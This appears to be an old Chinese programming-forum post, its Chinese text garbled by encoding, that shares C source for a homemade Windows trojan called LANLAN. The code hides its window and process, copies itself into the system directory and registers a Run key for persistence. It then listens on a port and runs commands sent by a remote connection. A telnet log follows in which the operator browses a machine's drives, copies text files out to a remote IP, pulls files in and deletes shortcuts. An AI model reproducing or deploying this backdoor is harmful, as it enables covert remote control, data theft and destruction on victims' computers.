  if(CreateSock==SOCKET_ERROR)
  {
  closesocket(CreateSock);
  MessageBox(hWnd,"SOCKET ERROR",NULL,MB_OK);
  return FALSE;
  }
  
  Sock_in.sin_family=AF_INET;
  Sock_in.sin_port=htons(PORT);
  Sock_in.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
  
  setsockopt(CreateSock,SOL_SOCKET,SO_REUSEADDR,(LPSTR)&dwFlag,sizeof(dwFlag));
  
  if(bind(CreateSock,(LPSOCKADDR)&Sock_in,sizeof(Sock_in))==SOCKET_ERROR)
  {
  closesocket(CreateSock);
  MessageBox(hWnd,"BIND ERROR",NULL,MB_OK);
  return FALSE;
  }
  
  else if(listen(CreateSock,3)==SOCKET_ERROR)
  {
  closesocket(CreateSock);
  MessageBox(hWnd,"LISTEN ERROR",NULL,MB_OK);
  return FALSE;
  }
  
  else if(WSAAsyncSelect(CreateSock,hWnd,WM_SOCKET,FD_ACCEPT|FD_CLOSE)==SOCKET_ERROR)
  {
  closesocket(CreateSock);
  MessageBox(hWnd,"WSASelect ERROR",NULL,MB_OK);
  return FALSE;
  }
  
  addrlen=sizeof(SOCKADDR_IN);
  
  
  return TRUE;
  }
  
  //---------------------------------------------------------------------------
  
  LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)
  {
  
  static TCHAR szCommand[dwComm];
  static TCHAR szExec[dwComm];
  
  switch(message)
  {
  case WM_SOCKET:
  if(WSAGETSELECTERROR(lParam))
  {
  closesocket(wParam);
  break;
  }
  
  switch(WSAGETSELECTEVENT(lParam))
  {
  //Á¬½Ó
  case FD_ACCEPT:
  NewSock=accept(CreateSock,(LPSOCKADDR)&NewSock_in,&addrlen);
  WSAAsyncSelect(NewSock,hWnd,WM_SOCKET,FD_READ|FD_WRITE|FD_CLOSE);
  wsprintf(szCommand,"LANLAN Ver 1.0 Write by VIRUS/n/n/r%s",PROMPT);
  send(NewSock,szCommand,dwComm,0);
  break;
  
  //¶ÁÈ¡ÊäÈ룬ÈçÊǻسµÔòÖ´ÐÐÃüÁî
  //²»Êǽ«ÊäÈ븴ÖƵ½»º³åÇø
  case FD_READ:
  ZeroMemory(szCommand,dwComm);
  recv(NewSock,szCommand,dwComm,0);
  if(szCommand[0]==VK_RETURN)
  {
  wsprintf(szCommand,"/n/n/r%s",PROMPT);
  send(NewSock,szCommand,dwComm,0);
  ExeCommand(szExec,hWnd);
  ZeroMemory(szExec,dwComm);
  }
  else
  lstrcat(szExec,szCommand);
  send(NewSock,szCommand,dwComm,0);
  break;
  
  case FD_CLOSE:
  closesocket(wParam);
  break;
  }
  break;
  
  case WM_DESTROY:
  HideProc(UNSERVICE_PROC);
  PostQuitMessage(0);
  break;
  
  default:
  return DefWindowProc(hWnd,message,wParam,lParam);
  
  }
  return 0;
  }
  
  //---------------------------------------------------------------------------
  
  WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, int)
  {
  HWND hWnd;
  MSG msg;
  WNDCLASS wndc;
  LPSTR szAppName="LANLAN";
  HKEY hKey=0;
  DWORD disp=0;
  LONG lResult;
  TCHAR szKey[MAX_PATH];
  TCHAR szSysDir[MAX_PATH+25];
  TCHAR szFileName[MAX_PATH];
  
  
  wndc.style=0;
  wndc.lpfnWndProc=WndProc;
  wndc.cbClsExtra=0;
  wndc.cbWndExtra=0;
  wndc.hInstance=hInstance;
  wndc.hIcon=LoadIcon(NULL,IDI_APPLICATION);
  wndc.hCursor=LoadCursor(NULL,IDC_ARROW);
  wndc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1);
  wndc.lpszMenuName=NULL;
  wndc.lpszClassName=szAppName;
  RegisterClass(&wndc);
  
  hWnd=CreateWindow(szAppName,"LANLANServer",
  WS_OVERLAPPEDWINDOW,
  CW_USEDEFAULT,CW_USEDEFAULT,
  CW_USEDEFAULT,CW_USEDEFAULT,
  NULL,NULL,hInstance,NULL);
  
  ShowWindow(hWnd,SW_HIDE);
  UpdateWindow(hWnd);
  if(GetOS()==VER_PLATFORM_WIN32_WINDOWS)
  {
  HideProc(SERVICE_PROC);
  }
  InitSocket(hWnd);
  
  //¸´ÖÆÎļþµ½ÏµÍ³Ä¿Â¼
  //²¢¼ÓÔØ×¢²á±í,×Ô¶¯ÔËÐÐ
  
  GetSystemDirectory(szSysDir,MAX_PATH);
  lstrcat(szSysDir,RUN);
  GetModuleFileName(NULL,szFileName,MAX_PATH);
  CopyFile(szFileName,szSysDir,FALSE);
  
  lstrcpy(szKey,"SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
  lResult=RegCreateKeyEx(HKEY_LOCAL_MACHINE,szKey,0,NULL,REG_OPTION_VOLATILE,
  KEY_ALL_ACCESS,NULL,&hKey,&disp);
  
  if(lResult==ERROR_SUCCESS)
  {
  lResult=RegSetValueEx(hKey,"WinMon32",0,REG_SZ,szSysDir,lstrlen(szSysDir));
  RegCloseKey(hKey);
  }
  
  
  while(GetMessage(&msg,NULL,0,0))
  {
  TranslateMessage(&msg);
  DispatchMessage(&msg);
  }
  
  return (msg.wParam);
  }
  
  ÏÂÃæÊÇ°³ÓÃTELNET¼Ç¼ÏµIJÙ×÷¹ý³Ì
  
  LanLan:/>dir
  
  LanLan:/>
  
  FRUNLOG.TXT 1005 ARCHIVE
  COMMAND.COM 94292 ARCHIVE
  CONFIG.SYS 0 ARCHIVE
  WINDOWS 0 <DIR>
  NETLOG.TXT 9683 ARCHIVE
  My Documents 0 <DIR>
  ATI 0 <DIR>
  autoexec.bat 129 ARCHIVE
  ultisoft 0 <DIR>
  MRTALK-SETUP.EXE 4521090 ARCHIVE
  yxl 0 <DIR>
  moon.exe 986228 ARCHIVE
  hirc2 0 <DIR>
  DON.txt 3431 ARCHIVE
  ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
  tempc 0 <DIR>
  scwin133 0 <DIR>
  Outlook Express.lnk 509 READONLY
  ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
  lanlandown.txt 624 ARCHIVE
  
  
  LanLan:/>dir *.
  
  LanLan:/>
  
  WINDOWS 0 <DIR>
  My Documents 0 <DIR>
  ATI 0 <DIR>
  ultisoft 0 <DIR>
  yxl 0 <DIR>
  hirc2 0 <DIR>
  tempc 0 <DIR>
  scwin133 0 <DIR>
  
  
  LanLan:/>cd my documents
  
  LanLan:/>Change Directory OK
  
  LanLan:/>dir
  
  LanLan:/>
  
  . 0 <DIR>
  .. 0 <DIR>
  ÖÒ¸æ.txt 798 ARCHIVE
  mysp.sql 535 ARCHIVE
  Á´½Ó 0 <DIR>
  aaa.ppt 32768 ARCHIVE
  Sock_temp 0 <DIR>
  
  
  LanLan:/>gcpath
  
  LanLan:/>CurrentDirect: c:/my documents
  
  
  LanLan:/>dir d:/*.*
  
  LanLan:/>
  
  WIN98 0 <DIR>
  VGA 0 <DIR>
  oicq99c.exe 966029 ARCHIVE
  METAL 0 <DIR>
  V2Comm2_0_0sc.exe 793295 ARCHIVE
  STONEAGE 0 <DIR>
  SONGS 0 <DIR>
  PROGRAMS 0 <DIR>
  MSSQL7 0 <DIR>
  mmssetup.exe 648032 ARCHIVE
  JiaSYS 0 <DIR>
  darkmatter.exe 7925536 READONLY
  scwin133.zip 652510 ARCHIVE
  cj_256 0 <DIR>
  msrwin08.exe 1145666 READONLY
  demonstr.exe 3806208 READONLY
  game 0 <DIR>
  msrwin08 0 <DIR>
  e-card.exe 827941 ARCHIVE
  hirc2-setup.exe 996803 ARCHIVE
  whocq2src 0 <DIR>
  
  
  LanLan:/>cd d:
  
  LanLan:/>Change Directory OK
  
  LanLan:/>dir *.
  
  LanLan:/>
  
  WIN98 0 <DIR>
  VGA 0 <DIR>
  METAL 0 <DIR>
  STONEAGE 0 <DIR>
  SONGS 0 <DIR>
  PROGRAMS 0 <DIR>
  MSSQL7 0 <DIR>
  JiaSYS 0 <DIR>
  cj_256 0 <DIR>
  game 0 <DIR>
  msrwin08 0 <DIR>
  whocq2src 0 <DIR>
  
  
  LanLan:/>cd jiasys
  
  LanLan:/>Change Directory OK
  
  LanLan:/>dir
  
  LanLan:/>
  
  . 0 <DIR>
  .. 0 <DIR>
  MYHOOK 0 <DIR>
  TC.res 876 ARCHIVE
  TestClass.cpp 1288 ARCHIVE
  TestClass.h 920 ARCHIVE
  TestClass.dfm 449 ARCHIVE
  TC.cpp 706 ARCHIVE
  TC.bpr 4631 ARCHIVE
  TC.~bp 4631 ARCHIVE
  TC.obj 11933 ARCHIVE
  SysClass.c 5795 ARCHIVE
  TestClass.~h 861 ARCHIVE
  TestClass.~df 449 ARCHIVE
  TestClass.obj 50776 ARCHIVE
  TC.tds 1835008 ARCHIVE
  TC.exe 26624 ARCHIVE
  NetTools.zip 214171 ARCHIVE
  mylover.txt 2932 ARCHIVE
  NetTools 0 <DIR>
  TestClass.c 1286 ARCHIVE
  
  
  LanLan:/>gcpath
  
  LanLan:/>CurrentDirect: D:/jiasys
  
  
  LanLan:/>cd c:
  
  LanLan:/>Change Directory OK
  
  LanLan:/>dir
  
  LanLan:/>
  
  FRUNLOG.TXT 1005 ARCHIVE
  COMMAND.COM 94292 ARCHIVE
  CONFIG.SYS 0 ARCHIVE
  WINDOWS 0 <DIR>
  NETLOG.TXT 9683 ARCHIVE
  My Documents 0 <DIR>
  ATI 0 <DIR>
  autoexec.bat 129 ARCHIVE
  ultisoft 0 <DIR>
  MRTALK-SETUP.EXE 4521090 ARCHIVE
  yxl 0 <DIR>
  moon.exe 986228 ARCHIVE
  hirc2 0 <DIR>
  DON.txt 3431 ARCHIVE
  ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
  tempc 0 <DIR>
  scwin133 0 <DIR>
  Outlook Express.lnk 509 READONLY
  ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
  lanlandown.txt 624 ARCHIVE
  
  
  LanLan:/>cd windows/desktop
  
  LanLan:/>Change Directory OK
  
  LanLan:/>dir
  
  LanLan:/>
  
  . 0 <DIR>
  .. 0 <DIR>
  Outlook Express.lnk 493 READONLY
  InterVideo WinDVD.lnk 442 ARCHIVE
  ÌÚѶOicq.lnk 334 ARCHIVE
  Ò»·ÖÇ®²»»¨.lnk 149 ARCHIVE
  NetAnts.lnk 379 ARCHIVE
  LANLAN 0 <DIR>
  iishack2000.c 4820 ARCHIVE
  RealPlayer G2.lnk 421 ARCHIVE
  WINAMP.LNK 350 ARCHIVE
  Microsoft Outlook.lnk 417 ARCHIVE
  C++Builder 4.lnk 524 ARCHIVE
  V2Communicator.lnk 402 ARCHIVE
  Sqlsec.zip 281929 ARCHIVE
  ÂÒÆß°ËÔã 0 <DIR>
  Run DemonStar.lnk 359 ARCHIVE
  SunNet HIRC2.lnk 305 ARCHIVE
  class.txt 336 ARCHIVE
  IPN1.0.exe 992721 ARCHIVE
  GX.jpg 94542 ARCHIVE
  1.log 0 ARCHIVE
  process.zip 153477 ARCHIVE
  process 0 <DIR>
  ÉϺ£ÈÈÏß IPN.lnk 537 ARCHIVE
  ʯÆ÷ʱ´ú.lnk 291 ARCHIVE
  
  
  LanLan:/>dir *.txt
  
  LanLan:/>
  
  class.txt 336 ARCHIVE
  
  
  LanLan:/>gcpath
  
  LanLan:/>CurrentDirect: C:/windows/desktop
  
  LanLan:/>copy *.txt //211.99.161.132/c
  
  LanLan:/>Copy File is OK
  
  LanLan:/>dir
  
  LanLan:/>
  
  . 0 <DIR>
  .. 0 <DIR>
  Outlook Express.lnk 493 READONLY
  InterVideo WinDVD.lnk 442 ARCHIVE
  ÌÚѶOicq.lnk 334 ARCHIVE
  Ò»·ÖÇ®²»»¨.lnk 149 ARCHIVE
  NetAnts.lnk 379 ARCHIVE
  LANLAN 0 <DIR>
  iishack2000.c 4820 ARCHIVE
  RealPlayer G2.lnk 421 ARCHIVE
  WINAMP.LNK 350 ARCHIVE
  Microsoft Outlook.lnk 417 ARCHIVE
  C++Builder 4.lnk 524 ARCHIVE
  V2Communicator.lnk 402 ARCHIVE
  Sqlsec.zip 281929 ARCHIVE
  ÂÒÆß°ËÔã 0 <DIR>
  Run DemonStar.lnk 359 ARCHIVE
  SunNet HIRC2.lnk 305 ARCHIVE
  class.txt 336 ARCHIVE
  IPN1.0.exe 992721 ARCHIVE
  GX.jpg 94542 ARCHIVE
  1.log 0 ARCHIVE
  process.zip 153477 ARCHIVE
  process 0 <DIR>
  ÉϺ£ÈÈÏß IPN.lnk 537 ARCHIVE
  ʯÆ÷ʱ´ú.lnk 291 ARCHIVE
  
  
  LanLan:/>gcpath
  
  LanLan:/>CurrentDirect: C:/windows/desktop
  
  
  LanLan:/>cd ..
  
  LanLan:/>Change Directory OK
  
  LanLan:/>gcpath
  
  LanLan:/>CurrentDirect: C:/windows
  
  
  LanLan:/>cd ..
  
  LanLan:/>Change Directory OK
  
  LanLan:/>gcpath
  
  LanLan:/>CurrentDirect: C:/
  
  
  LanLan:/>dir
  
  LanLan:/>
  
  FRUNLOG.TXT 1005 ARCHIVE
  COMMAND.COM 94292 ARCHIVE
  CONFIG.SYS 0 ARCHIVE
  WINDOWS 0 <DIR>
  NETLOG.TXT 9683 ARCHIVE
  My Documents 0 <DIR>
  ATI 0 <DIR>
  autoexec.bat 129 ARCHIVE
  ultisoft 0 <DIR>
  MRTALK-SETUP.EXE 4521090 ARCHIVE
  yxl 0 <DIR>
  moon.exe 986228 ARCHIVE
  hirc2 0 <DIR>
  DON.txt 3431 ARCHIVE
  ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
  tempc 0 <DIR>
  scwin133 0 <DIR>
  Outlook Express.lnk 509 READONLY
  ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
  lanlandown.txt 624 ARCHIVE
  
  
  LanLan:/>dir *.lnk
  
  LanLan:/>
  
  Outlook Express.lnk 509 READONLY
  
  
  LanLan:/>del *.lnk
  
  LanLan:/>Delete File is OK
  
  LanLan:/>dir
  
  LanLan:/>
  
  FRUNLOG.TXT 1005 ARCHIVE
  COMMAND.COM 94292 ARCHIVE
  CONFIG.SYS 0 ARCHIVE
  WINDOWS 0 <DIR>
  NETLOG.TXT 9683 ARCHIVE
  My Documents 0 <DIR>
  ATI 0 <DIR>
  autoexec.bat 129 ARCHIVE
  ultisoft 0 <DIR>
  MRTALK-SETUP.EXE 4521090 ARCHIVE
  yxl 0 <DIR>
  moon.exe 986228 ARCHIVE
  hirc2 0 <DIR>
  DON.txt 3431 ARCHIVE
  ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
  tempc 0 <DIR>
  scwin133 0 <DIR>
  ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
  lanlandown.txt 624 ARCHIVE
  
  
  LanLan:/>dir
  
  LanLan:/>
  
  FRUNLOG.TXT 1005 ARCHIVE
  COMMAND.COM 94292 ARCHIVE
  CONFIG.SYS 0 ARCHIVE
  WINDOWS 0 <DIR>
  NETLOG.TXT 9683 ARCHIVE
  My Documents 0 <DIR>
  ATI 0 <DIR>
  autoexec.bat 129 ARCHIVE
  ultisoft 0 <DIR>
  MRTALK-SETUP.EXE 4521090 ARCHIVE
  yxl 0 <DIR>
  moon.exe 986228 ARCHIVE
  hirc2 0 <DIR>
  DON.txt 3431 ARCHIVE
  ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
  tempc 0 <DIR>
  scwin133 0 <DIR>
  ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
  lanlandown.txt 624 ARCHIVE
  
  
  Can not find directory.
  
  
  LanLan:/>cd d:
  
  LanLan:/>Change Directory OK
  
  LanLan:/>dir
  
  LanLan:/>
  
  WIN98 0 <DIR>
  VGA 0 <DIR>
  oicq99c.exe 966029 ARCHIVE
  METAL 0 <DIR>
  V2Comm2_0_0sc.exe 793295 ARCHIVE
  STONEAGE 0 <DIR>
  SONGS 0 <DIR>
  PROGRAMS 0 <DIR>
  MSSQL7 0 <DIR>
  mmssetup.exe 648032 ARCHIVE
  JiaSYS 0 <DIR>
  darkmatter.exe 7925536 READONLY
  scwin133.zip 652510 ARCHIVE
  cj_256 0 <DIR>
  msrwin08.exe 1145666 READONLY
  demonstr.exe 3806208 READONLY
  game 0 <DIR>
  msrwin08 0 <DIR>
  e-card.exe 827941 ARCHIVE
  hirc2-setup.exe 996803 ARCHIVE
  whocq2src 0 <DIR>
  
  
  LanLan:/>gcpath
  
  LanLan:/>CurrentDirect: D:/
  
  
  LanLan:/>dir *.
  
  LanLan:/>
  
  WIN98 0 <DIR>
  VGA 0 <DIR>
  METAL 0 <DIR>
  STONEAGE 0 <DIR>
  SONGS 0 <DIR>
  PROGRAMS 0 <DIR>
  MSSQL7 0 <DIR>
  JiaSYS 0 <DIR>
  cj_256 0 <DIR>
  game 0 <DIR>
  msrwin08 0 <DIR>
  whocq2src 0 <DIR>
  
  
  LanLan:/>cd metal
  
  LanLan:/>Change Directory OK
  
  LanLan:/>dir
  
  LanLan:/>
  
  . 0 <DIR>
  .. 0 <DIR>
  don't_cry.rm 757491 READONLY
  communication_breakdown.rm 397911 READONLY
  crazy.rm 840305 READONLY
  amazing.rm 950747 READONLY
  dream_on.rm 707125 READONLY
  fade_to_black.rm 1099788 READONLY
  in_a_darkened_room.rm 624304 READONLY
  master_of_puppets.rm 1364907 READONLY
  More_Than_Words.rm 883834 READONLY
  no_remorse.rm 1022536 READONLY
  04 - Wind Of Change.mp3 7297644 READONLY
  november_rain.rm 1425646 READONLY
  To_Be_With_You.rm 574602 READONLY
  08 - Nothing Else Matters.mp3 6205857 READONLY
  03 - The House Jack Built.mp3 6366839 READONLY
  04 - Welcome Home (Sanitarium).mp3 6177536 READONLY
  05 - Another Brick In The Wall Part 2.mp3 3829411 READONLY
  06 - Come Together.mp3 5813279 READONLY
  02 - The Memory Remains.mp3 4455715 READONLY
  06 - Outlaw Torn.mp3 9559804 READONLY
  
  
  
  LanLan:/>copy //211.99.161.132/d/metal/amazin*.* c:/windows/desktop
  
  LanLan:/>Copy File is OK
  
  LanLan:/>gcpath
  
  LanLan:/>CurrentDirect: D:/metal
  
  
  LanLan:/>cd c:
  
  LanLan:/>Change Directory OK
  
  LanLan:/>dir
  
  LanLan:/>
  
  FRUNLOG.TXT 1005 ARCHIVE
  COMMAND.COM 94292 ARCHIVE
  CONFIG.SYS 0 ARCHIVE
  WINDOWS 0 <DIR>
  NETLOG.TXT 9683 ARCHIVE
  My Documents 0 <DIR>
  ATI 0 <DIR>
  autoexec.bat 129 ARCHIVE
  ultisoft 0 <DIR>
  MRTALK-SETUP.EXE 4521090 ARCHIVE
  yxl 0 <DIR>
  moon.exe 986228 ARCHIVE
  hirc2 0 <DIR>
  DON.txt 3431 ARCHIVE
  ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
  tempc 0 <DIR>
  scwin133 0 <DIR>
  ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
  lanlandown.txt 624 ARCHIVE
  
  
  LanLan:/>dir *.
  
  LanLan:/>
  
  WINDOWS 0 <DIR>
  My Documents 0 <DIR>
  ATI 0 <DIR>
  ultisoft 0 <DIR>
  yxl 0 <DIR>
  hirc2 0 <DIR>
  tempc 0 <DIR>
  scwin133 0 <DIR>
  
  
  LanLan:/>cd yxl
  
  LanLan:/>Change Directory OK
  
  LanLan:/>dir
  
  LanLan:/>
  
  . 0 <DIR>
  .. 0 <DIR>
  À×ÄñÕ½»ú 0 <DIR>
  
  
  LanLan:/>cd /
  
  LanLan:/>cd Drive/DirectoryChange Directory OK
  
  LanLan:/>dir
  
  LanLan:/>
  
  FRUNLOG.TXT 1005 ARCHIVE
  COMMAND.COM 94292 ARCHIVE
  CONFIG.SYS 0 ARCHIVE
  WINDOWS 0 <DIR>
  NETLOG.TXT 9683 ARCHIVE
  My Documents 0 <DIR>
  ATI 0 <DIR>
  autoexec.bat 129 ARCHIVE
  ultisoft 0 <DIR>
  MRTALK-SETUP.EXE 4521090 ARCHIVE
  yxl 0 <DIR>
  moon.exe 986228 ARCHIVE
  hirc2 0 <DIR>
  DON.txt 3431 ARCHIVE
  ǹ֧¹ÜÀíϵͳ¿ÉÐÐÐÔ·ÖÎöÓëÉè¼Æ£¨¿ò¼Ü£©.doc 92160 ARCHIVE
  tempc 0 <DIR>
  scwin133 0 <DIR>
  ´úÊÕ·ÑÒµÎñ.doc 69632 ARCHIVE
  lanlandown.txt 624 ARCHIVE
  
  
  
  

---

Ïà¹ØÌû×Ó£º

• ÐǼ¶£º0¼¶[ID:7221]°³Ð´µÄÒ»¸ö¼òµ¥Ä¾Âí [×÷Õß:²¡¶¾ ´óС:49185bytes] [ÈËÆø:38 »ØÓ¦:0](2001-05-20 19:16:04)

---

»Ø¸´´ËÌû×Ó£º

°æ Ã棺 ±à³ÌÀÖÔ° *Ϊ±ØÌîÏîÄ¿
ÐÕ Ãû£º * ÃÜÂ룺 * Íü¼ÇÃÜÂë°´ÕâÀï
Email£º »Ø¸´ÇëEmail֪ͨ( ×¢ÒâÒªÌîдEmail)
Ö÷ Ì⣺ *

±í Ç飺

ÄÚ ÈÝ£¨×î¶à16KB£© ʹÓÃÇ©Ãû ÉèÖÃÇ©Ãû>>

Á´½ÓµØÖ·£º
Á´½Ó±êÌ⣺
Á´½ÓͼƬ£º

---

Ìû×Óת·¢£º

E-mail µØÖ·£º